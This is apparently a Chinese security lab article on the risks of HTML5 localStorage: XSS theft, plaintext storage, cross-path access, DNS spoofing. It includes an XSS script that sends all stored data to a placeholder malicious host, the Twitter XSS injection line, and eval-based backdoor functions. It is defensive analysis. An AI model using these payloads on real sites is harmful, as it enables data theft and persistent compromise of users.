在HTML5本地存儲出現以前,WEB數據存儲的方法已經有很多,比如HTTP Cookie,IE userData,Flash Cookie,Google Gears。其實再說細點,瀏覽WEB的歷史記錄也算是本地存儲的一種方式。到目前為止,HTML5本地存儲方式已經獲得了廣泛的支持,其中支持的瀏覽器包括:IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+,手機平臺包括iPhone 2+和Android 2+。最新的HTML5本地存儲規范文檔,可以在線查看http://dev.w3.org/html5/webstorage/
HTML5本地存儲的前身就是Cookie,通過使用localStorage對象將WEB數據持久留存在本地。相比較而言,HTML5本地存儲中每個域的存儲大小默認是5M,比起Cookie的4K要大的多。而且存儲和讀取數據的代碼極為簡練:
存儲數據 |
Window.localStorage.setItem(key,value) |
讀取數據 |
Window.localStorage.getItem(key) |
刪除數據項 |
Window.localStorage.removeItem(key) |
刪除所有數據 |
Window.localStorage.clear() |
那么現在我們是否可以簡單的認為,HTML5存儲已經可以代替Cookie存儲了呢?還有這種新的存儲方式在實際應用中帶來了哪些新的安全風險呢?帶著這些疑問我們來進行下面的討論。
- 是否可以代替Cookie
瀏覽器使用Cookie進行身份驗證已經好多年,既然現在localStorage存儲空間那么大,是否可以把身份驗證的數據直接移植過來呢?目前來看,把身份驗證數據使用localStorage進行存儲還不太成熟。我們知道,通常可以使用XSS漏洞來獲取到Cookie,然后用這個Cookie進行身份驗證登錄。后來為了防止通過XSS獲取Cookie數據,瀏覽器支持了使用HTTPONLY來保護Cookie不被XSS攻擊獲取到。而目前localStorage存儲沒有對XSS攻擊有任何抵御機制,一旦出現XSS漏洞,那么存儲在localStorage里的數據就極易被獲取到。
如果一個網站存在XSS漏洞,那么攻擊者注入如下代碼,就可以獲取使用localStorage存儲在本地的所有信息。
<script> var i = 0; var str = ""; while (localStorage.key(i) != null) { var key = localStorage.key(i); str += key + ": " + localStorage.getItem(key); i++; } document.location="http://your-malicious-site.com?stolen="+ str; </script> |
攻擊者也可以簡單的使用localStorage.removeItem(key)和localStorage.clear()對存儲數據進行清空。
- 不要存儲敏感信息
從(1)中知道,從遠程攻擊角度來看,localStorage存儲的數據容易被XSS攻擊獲取,所以不宜把身份驗證信息或敏感信息用localStorage存儲。而從本地攻擊角度來看,localStorage自身的存儲方式和存儲時效并不宜存儲敏感信息。
五大瀏覽器現在都已經支持以localStorage方式進行存儲,其中Chrome,Opera,Safari這三款瀏覽器中都有了查看本地存儲的功能模塊。但是不同瀏覽器對localStorage存儲方式還是略有不同的。以下是五大瀏覽器localStorage存儲方式:
瀏覽器 |
存儲格式 |
加密方式 |
存儲路徑 |
Firefox |
SQLite |
明文 |
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\tyraqe3f.default\webappsstore.sqlite |
Chrome |
SQLite |
明文 |
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\ |
IE |
XML |
明文 |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\ |
Safari |
SQLite |
明文 |
C:\Users\user\AppData\Local\Apple Computer\Safari\LocalStorage |
Opera |
XML |
BASE64 |
C:\Users\user\AppData\Roaming\Opera\Opera\pstorage\ |
通過上面的描述可以看出,除了Opera瀏覽器采用BASE64加密外(BASE64也是可以輕松解密的),其他瀏覽器均采用明文存儲數據。
另一方面,在數據存儲的時效上,localStorage并不會像Cookie那樣可以設置數據存活的時限,只要用戶不主動刪除,localStorage存儲的數據將會永久存在。
根據以上對存儲方式和存儲時效的分析,建議不要使用localStorage方式存儲敏感信息,那怕這些信息進行過加密。
- 嚴格過濾輸入輸出
對于本地存儲,為了方便加載數據,常常會把數據存儲在本地,等再次加載時,直接從本地讀取數據顯示在網頁上。在某些情況下,在localStorage存儲中寫入或讀取數據的時候,如果數據沒有經過輸入輸出嚴格過濾,那么這些數據極可能被作為HTML代碼進行解析,從而產生XSS攻擊。
Twitter就發生過localStorage XSS漏洞。此漏洞觸發的條件是,在Twitter的個人主頁上執行以下存儲代碼后,每次再打開個人主頁時就會彈出/xss/框。
localStorage.setItem(":USER:",'{"name":{"value":{"store":{"recentFollowers":{"value":"name<script>alert(/xss/)</script>"}}}}}'); |
從這段代碼可以看出,Twitter會使用localStorage方法把一些個人數據存儲到本地,每次加載個人主頁面的時候就會從本地存儲獲取數據,然后由于Twitter忽略了對去除數據的嚴格過濾,導致存儲的代碼會被當作HMTL編碼執行,進而發生跨站攻擊。
有關Twitter localStorage XSS 漏洞詳的細信息可以查看:http://www.wooyun.org/bugs/wooyun-2010-03075。雖然Twitter這個漏洞利用起來非常困難,但它再一次告訴我們:本著一切輸入輸出都是有害的原則,要對數據進行嚴格的輸入輸出過濾。
- 容易遭受跨目錄攻擊
localStroage存儲方式不會像Cookie存儲一樣可以指定域中的路徑,在localStroage存儲方式中沒有域路徑的概念。也就是說,如果同一個域下的任意路徑存在XSS漏洞,整個域下存儲的數據在知道存儲名稱的情況下都可以被獲取到。
假設下面兩個鏈接是使用localStorage來存儲數據:
http://h.example.com/xisigr |
http://h.example.com/xhack |
用戶xisigr和xhack各自的blog鏈接雖然屬于同一個域,但卻有不同的路徑,一個路徑為xisigr,另一個路徑為xhack。假設xisigr用戶發現自己的路徑下存在存儲型XSS漏洞,那么就可以在自己的blog中加入獲取數據代碼,其中核心代碼為localStorage.getItem(“name”)。xhack用戶并不需要登錄blog,他只要訪問http://h.example.com/xisigr,本地存儲數據就會被獲取到。
- 容易遭受DNS欺騙攻擊
Google在沒有使用HTML5本地存儲前,是使用Google Gears方式來進行本地存儲的。那時Google Gears就遭到過DNS欺騙攻擊。Google Gears支持離線存儲,可以把Gmail,WordPresss這樣的網站數據以SQLite數據庫的形式存儲下來,以后用戶就可以對存儲的網站數據進行離線讀取或刪除操作。如果攻擊者發動DNS欺騙攻擊,那么就可以注入本地數據庫,獲取數據或者留下永久的后門,造成對用戶持久的危害。Google Gears所遭受的DNS欺騙攻擊方式在HTML5本地存儲上也是同樣有效的。
- 惡意代碼棲息的溫床
在第六點中給出“惡意代碼棲息的溫床”這個小標題有些夸大的效果。其實這里想說的是,HTML5本地存儲在空間上和時間上都將成為今后存儲的趨勢,料想“惡意代碼們”自然會大雁南飛轉移棲息到這張溫床上。
那么,何為HTML5本地存儲的空間和時間呢?空間這里指的是存儲空間,比起Cookie 4K空間的微小來說,HTML5的localStroage方法默認就可以使瀏覽器存儲5M空間可以說是博大,而Safari瀏覽器可以支持到500M更加讓HTML5存儲霸氣外露。時間上,隨著HTML5技術日漸成熟,除了各大瀏覽器廠商爭先在自己的產品中支持HTML5外,一些大應用軟件廠商也對其信賴有加。比如2011年11月Adobe宣布放棄手機上的FLASH,而由HTML5全面取而代之。隨著時間的推移,HTML5大步流星的前行速度也會越來越快,也會使得用到HTML5本地存儲的應用會越來越多。
上面從理論上分析了“惡意代碼棲息的溫床”的可能性。而從實際技術上的可行性也非常簡單。下面是在本地留后門的核心代碼:
保存shellcode
|
function setShellCodz(codz){ window.localStorage.setItem("shellcodz", codz);} |
執行shellcode
|
function getShellCodz(){ eval(window.localStorage.getItem("shellcodz"));} |
刪除shellcode
|
function delShellCodz(){ window.localStorage.removeItem("shellcodz");} |
以上分析,均出自天融信TopLAB前沿安全實驗室的研究,希望借此文讓HTML5的本地存儲安全問題得到大家的廣泛重視。HTML5非常精彩,但也存在風險,我們要做的工作還很多。